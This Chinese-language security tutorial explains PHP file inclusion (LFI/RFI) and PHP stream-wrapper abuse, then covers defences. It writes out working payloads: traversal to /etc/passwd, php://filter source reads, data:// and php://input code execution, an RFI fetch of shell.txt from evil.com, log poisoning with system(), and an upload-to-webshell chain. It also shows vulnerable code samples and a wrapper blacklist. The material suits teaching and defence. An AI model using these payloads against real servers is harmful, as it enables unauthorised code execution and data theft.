
1. 项目概述从“包含”到“失控”的边界在Web应用开发尤其是PHP生态中include、require这类文件包含函数是再基础不过的构件了。它们就像代码的“乐高积木”让我们能把通用的头部、尾部、配置或函数库拆分成独立文件然后在需要的地方“包含”进来实现代码的复用和模块化管理。这听起来是个完美的设计高效且清晰。然而安全领域的铁律之一是功能越基础被滥用时的破坏力往往也越大。当开发者将用户可控的数据未经严格过滤就直接拼接进包含文件的路径参数时这个原本用于构建的“积木”就变成了攻击者手中可以撬动整个服务器内部资源的“万能钥匙”。这就是文件包含漏洞File Inclusion Vulnerability的核心。而PHP语言为了增强灵活性支持了一系列“伪协议”Wrapper Protocols比如php://、file://、data://等。这些协议本意是提供访问各种数据流如输入输出、临时数据、标准流的统一接口是PHP强大功能的一部分。但不幸的是在文件包含漏洞的上下文里这些伪协议与用户输入的结合极大地扩展了攻击面。攻击者不再仅仅满足于读取服务器上的某个敏感文件他们可以通过伪协议执行代码、包含远程文件、甚至直接构造包含恶意代码的数据流。这使得一个简单的路径可控问题演变为可能导致远程代码执行RCE, Remote Code Execution的严重安全漏洞。理解“include文件包含PHP伪协议漏洞”本质上是在理解两个层面的问题第一开发中的不良实践如何制造了一个入口第二PHP语言的特性如何让这个入口变成了一个深渊。这不仅是CTF比赛中的常客更是真实世界渗透测试和漏洞挖掘中需要重点排查的高危点。对于开发者这是编写安全代码必须跨过的坎对于安全研究者或爱好者这是理解Web应用攻击链的关键一环。接下来我将拆解这个漏洞的机理、利用方式并分享从防御视角的实战心得。2. 漏洞原理深度拆解当信任被滥用要利用一个漏洞首先得彻底理解它为何会产生。文件包含漏洞的根源在于“信任边界”的模糊。服务器端的脚本信任了来自客户端用户的输入并将其直接用于决定包含哪个文件。2.1 文件包含漏洞的两种类型根据包含目标的位置通常分为两类本地文件包含LFI, Local File Inclusion攻击者能够包含并读取服务器本地的文件。例如通过构造参数?page../../../etc/passwd尝试读取系统密码文件。其危害包括敏感信息泄露读取配置文件如数据库连接信息、源代码、日志文件等。配合其他条件实现RCE如果应用允许上传文件如图片且能预测或控制上传文件的路径则可以上传一个包含PHP代码的文本文件然后通过LFI包含它从而执行代码。远程文件包含RFI, Remote File Inclusion攻击者可以包含一个远程服务器通常由攻击者控制上的文件。例如参数?pagehttp://evil.com/shell.txt。其危害直接就是远程代码执行因为被包含的远程文件内容会被服务器当作PHP代码执行。需要注意的是RFI能否成功取决于PHP配置项allow_url_include是否为On。在现代PHP版本和默认配置中此选项通常是Off因此RFI在实际中比LFI更少见但一旦存在危害极大。2.2 PHP伪协议漏洞的“能力放大器”当单纯的路径遍历../遇到阻碍或者攻击者想实现更直接的效果时PHP伪协议就登场了。它们不是真正的网络协议而是PHP提供的一种访问各种数据流和资源的抽象层。在文件包含的语境下几个关键的伪协议如下php://input这是一个只读流允许你读取请求的原始主体raw body。在POST请求中你可以将PHP代码放在请求体里然后通过包含php://input来执行这些代码。这需要allow_url_include为On且仅限于include、require等语言结构file_get_contents()等函数通常不行。php://filter这是最常用、最强大的利用协议。它是一个元封装器设计用于数据流打开时的筛选过滤应用。在文件包含中我们主要利用它的“转换”功能。例如php://filter/readconvert.base64-encode/resourceconfig.php读取config.php文件的内容并将其进行Base64编码后输出。这常用于绕过一些代码执行限制或者读取包含PHP代码的文件因为直接包含.php文件其中的代码会被执行我们看不到源代码而经过Base64编码后我们得到的是编码后的文本解码即可获源码。php://filter/convert.iconv.utf-8.utf-16/resourceshell.php使用字符集转换过滤器有时可以用于绕过某些WAF或实现特殊效果。data://数据流封装器允许在URI中直接嵌入数据。格式为data://[mediatype][;base64],data。例如data://text/plain,?php phpinfo();?或data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8。这相当于在参数中直接携带了要执行的代码危害极大。同样需要allow_url_include为On。file://用于访问本地文件系统是默认使用的协议。在绝对路径包含时显式使用如file:///etc/passwd。zip://、phar://这些协议允许访问压缩包内的文件。如果应用允许上传压缩包并且存在文件包含漏洞攻击者可以制作一个包含恶意脚本的压缩包然后通过类似zip:///path/to/evil.zip%23shell.php注意#在URL中需要编码为%23的路径包含并执行压缩包内的PHP文件。phar://协议功能更强大与PHP的Phar扩展相关能触发反序列化等操作。2.3 漏洞产生的典型代码模式漏洞代码通常长这样// 危险示例1直接包含用户输入 $page $_GET[page]; include($page . .php); // 危险示例2虽有固定后缀但路径可穿越 $file $_GET[file]; include(/var/www/html/includes/ . $file); // 危险示例3使用动态变量极度危险 $module $_GET[module]; include($$module . .inc); // 可变变量用户可控制变量名在第一例中攻击者传入pagephp://filter/readconvert.base64-encode/resourceindex最终会尝试包含php://filter/readconvert.base64-encode/resourceindex.php从而读取index.php的Base64编码源码。第二例中攻击者传入file../../../etc/passwd即可跳出预定目录。3. 实战利用与漏洞复现场景解析理解了原理我们通过几个典型场景来看如何利用。请注意以下所有操作仅应在合法授权的渗透测试环境、CTF靶场或自己搭建的实验环境中进行。3.1 场景一基础LFI与目录遍历假设存在一个简单的页面index.php?php $filename $_GET[file]; include(/var/www/html/pages/ . $filename); ?攻击者可以尝试?file../../../../etc/passwd尝试读取系统文件。?file../../config/database.php尝试读取数据库配置文件。?file./index尝试包含自身可能触发其他逻辑或错误信息泄露。实操要点需要猜测或探测Web根目录与目标文件的相对路径。常见的路径深度../的数量需要尝试。Windows系统下路径分隔符为\但通常也接受/。可以使用..\..\windows\win.ini等进行测试。如果应用添加了后缀如.php上述包含可能失败因为最终路径会是/var/www/html/pages/../../../../etc/passwd.php文件不存在。这时需要用到截断技巧受PHP版本和配置影响或伪协议。3.2 场景二使用php://filter读取源码这是CTF中最常见的考点。当直接包含.php文件时代码会被执行我们看不到源代码。利用php://filter的编码功能可以绕过。假设漏洞代码为include($_GET[page]);。 攻击Payload?pagephp://filter/readconvert.base64-encode/resourceindex.php操作过程将上述Payload提交。页面可能会显示一串Base64编码的字符串。复制该字符串使用Base64解码在线工具或命令行echo “编码字符串” | base64 -d即可得到index.php的源代码。为什么能工作php://filter协议将resource指定的文件index.php作为数据流打开然后应用read过滤器convert.base64-encode对其进行编码。include函数包含了这个经过编码的数据流。由于数据流的内容是Base64文本而非有效的PHP代码所以PHP引擎不会执行它而是将其作为文本输出。这样我们就拿到了源码。进阶技巧有时为了绕过简单的关键词过滤可以使用多重过滤器或不同的编码方式例如php://filter/convert.base64-encode|convert.base64-encode/resourceindex.php双重Base64php://filter/convert.iconv.UTF-8.UTF-16/resourceindex.php转换字符集3.3 场景三利用php://input或data://执行代码当allow_url_include开启时攻击可以直接达成RCE。利用php://input构造一个POST请求URL参数为?pagephp://input。在HTTP请求体Body中写入要执行的PHP代码例如?php system(ls /);?。发送请求服务器会包含php://input流而该流的内容就是请求体中的PHP代码从而执行system(ls /)命令。利用data://直接构造URL?pagedata://text/plain,?php phpinfo();?或者使用Base64编码避免特殊字符问题?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8访问该URLphpinfo()函数就会被执行。重要提示allow_url_include在现代PHP安全配置中强烈建议关闭。在漏洞复现环境如DVWA的“文件包含”模块中可以手动调整PHP配置来模拟这种危险场景。3.4 场景四结合文件上传的LFI到RCE这是真实环境中更常见的利用链。假设网站有头像上传功能上传的图片被保存在uploads/目录下且存在文件包含漏洞include(‘./templates/’ . $_GET[‘tpl’]);。攻击步骤制作恶意图片创建一个文本文件内容为?php phpinfo();?将其命名为shell.jpg。文件开头可以是真实的图片魔数如GIF89a以绕过简单的文件类型检查但许多检查并不严格。上传文件通过正常功能上传shell.jpg。假设服务器将其保存为uploads/abc123.jpg。触发包含利用文件包含漏洞构造参数?tpl../../uploads/abc123.jpg。服务器会包含这个“图片”文件。代码执行由于服务器将其作为PHP文件解析只要文件内容被include其中的?php ?标签就会被解析phpinfo()代码得以执行攻击者获得了一个Webshell的入口。这里的关键点文件包含漏洞不关心文件后缀。只要文件内容被include/require其中的PHP代码块就会被解析器执行。这被称为“文件包含配合文件上传的RCE”。4. 防御策略与安全编码实践知道了如何攻击才能更好地防御。对于开发者而言避免文件包含漏洞需要遵循“最小权限”和“不信任用户输入”的原则。4.1 输入验证与白名单机制最有效的防御是使用白名单。如果只有有限的几个页面可以被包含那么维护一个允许的列表。$allowed_pages array(home, about, contact); $page $_GET[page]; if (in_array($page, $allowed_pages)) { include(./templates/ . $page . .php); } else { include(./templates/error.php); // 或直接die(Invalid page!); }这样用户只能传入home、about、contact任何其他输入包括../../../etc/passwd或php://filter都会被拒绝。4.2 避免动态包含或严格限制路径如果业务上必须动态包含应采取以下措施固定目录前缀使用绝对路径并确保用户输入无法跳出该目录。$base_dir /var/www/html/app/templates/; $page basename($_GET[page]); // 使用 basename 移除路径部分 $path $base_dir . $page . .php; // 额外检查路径是否仍在 base_dir 内 if (strpos(realpath($path), $base_dir) 0 file_exists($path)) { include($path); } else { die(Access denied.); }realpath()可以解析../等符号strpos(...) 0确保最终路径在允许的目录内。移除危险字符过滤输入中的目录遍历字符和协议标识。$input $_GET[file]; $input str_replace(array(../, ..\\, php://, data://, zip://, phar://), , $input); // 注意这种黑名单方式可能被绕过如 ....//应作为辅助手段而非主要防御。4.3 安全的PHP配置运维人员应确保PHP配置的安全将allow_url_include和allow_url_fopen设置为Off这是防止RFI和data://、php://input协议滥用的根本措施。设置open_basedir将PHP可访问的文件限制在指定的目录树中可以有效限制LFI的影响范围。使用最新稳定版的PHP新版本通常会修复已知的安全问题。4.4 其他安全建议如果需要包含动态内容考虑其他方案比如使用模板引擎Twig, Smarty等它们有自己更安全的包含机制。或者使用路由组件将页面映射到具体的控制器类和方法而非直接包含文件。对上传文件进行严格处理给上传文件重命名如使用随机哈希值避免使用用户提供的文件名。将上传目录设置为不可执行通过Web服务器配置禁止该目录解析PHP。对文件内容进行二次验证如图片重压缩。最小权限原则运行Web服务的用户如www-data, nginx应具有尽可能低的文件系统权限。5. 漏洞挖掘与CTF实战技巧在渗透测试或CTF比赛中文件包含漏洞的挖掘和利用有一些技巧。5.1 漏洞点探测参数名猜测常见的参数名包括file,page,path,include,load,template,p等。错误信息尝试传入异常值如../../../../观察是否暴露出绝对路径、PHP警告等信息这有助于确认漏洞存在和定位目录。日志文件包含如果发现了LFI可以尝试包含Web服务器的访问日志如/var/log/apache2/access.log或错误日志。攻击者可以先发起一个包含PHP代码的请求如?php system($_GET[‘c’]);?由于User-Agent或Referer会被记录到日志中再通过LFI包含这个日志文件就有可能执行代码。这需要Web进程有权限读取日志文件且日志文件中保留了PHP标签。PHP Session文件包含PHP的Session数据通常存储在临时文件中如/tmp/sess_[PHPSESSID]。如果Session内容部分可控比如存储了用户名攻击者可以尝试将PHP代码写入Session然后通过LFI包含对应的Session文件。需要知道或能预测Session ID。5.2 CTF中的常见绕过技巧路径截断在旧版PHP5.3.4中当magic_quotes_gpcOff且路径长度受限时可以使用超长字符串如多个.或空字符%00进行截断使添加的后缀失效。例如?file../../etc/passwd%00。现代PHP中已基本修复。编码绕过对关键词进行URL编码、双重编码等以绕过简单的字符串过滤。例如../可以编码为%2e%2e%2f或..%252f双重编码。协议嵌套php://filter可以嵌套使用如php://filter/readconvert.base64-encode/resourcephp://filter/readconvert.base64-encode/resource/etc/passwd有时用于绕过奇怪的过滤逻辑。利用zip://或phar://当存在文件上传点且能控制上传文件名时可以上传一个包含恶意PHP脚本的ZIP文件然后通过文件包含漏洞使用zip://协议包含ZIP内的PHP文件。phar://协议功能更强还能触发反序列化。5.3 工具辅助Fuzz工具使用像ffuf,wfuzz这样的工具配合包含路径、协议和常见敏感文件的字典进行自动化探测。Burp Suite使用Intruder模块对文件包含参数进行暴力破解尝试包含各种路径和协议。文件包含漏洞是一个经典且危害巨大的安全问题。它源于开发中对用户输入信任的滥用又被PHP强大的伪协议特性所放大。从防御角度看坚持使用白名单、对输入进行严格校验、配置安全的PHP环境是治本之策。从攻击或安全测试角度看理解其原理和利用链能帮助我们更有效地发现和验证风险。在实战中它很少孤立存在常与文件上传、信息泄露、配置不当等问题结合形成完整的攻击链。因此在代码审计和渗透测试中对include、require等函数保持高度警惕总是一个好习惯。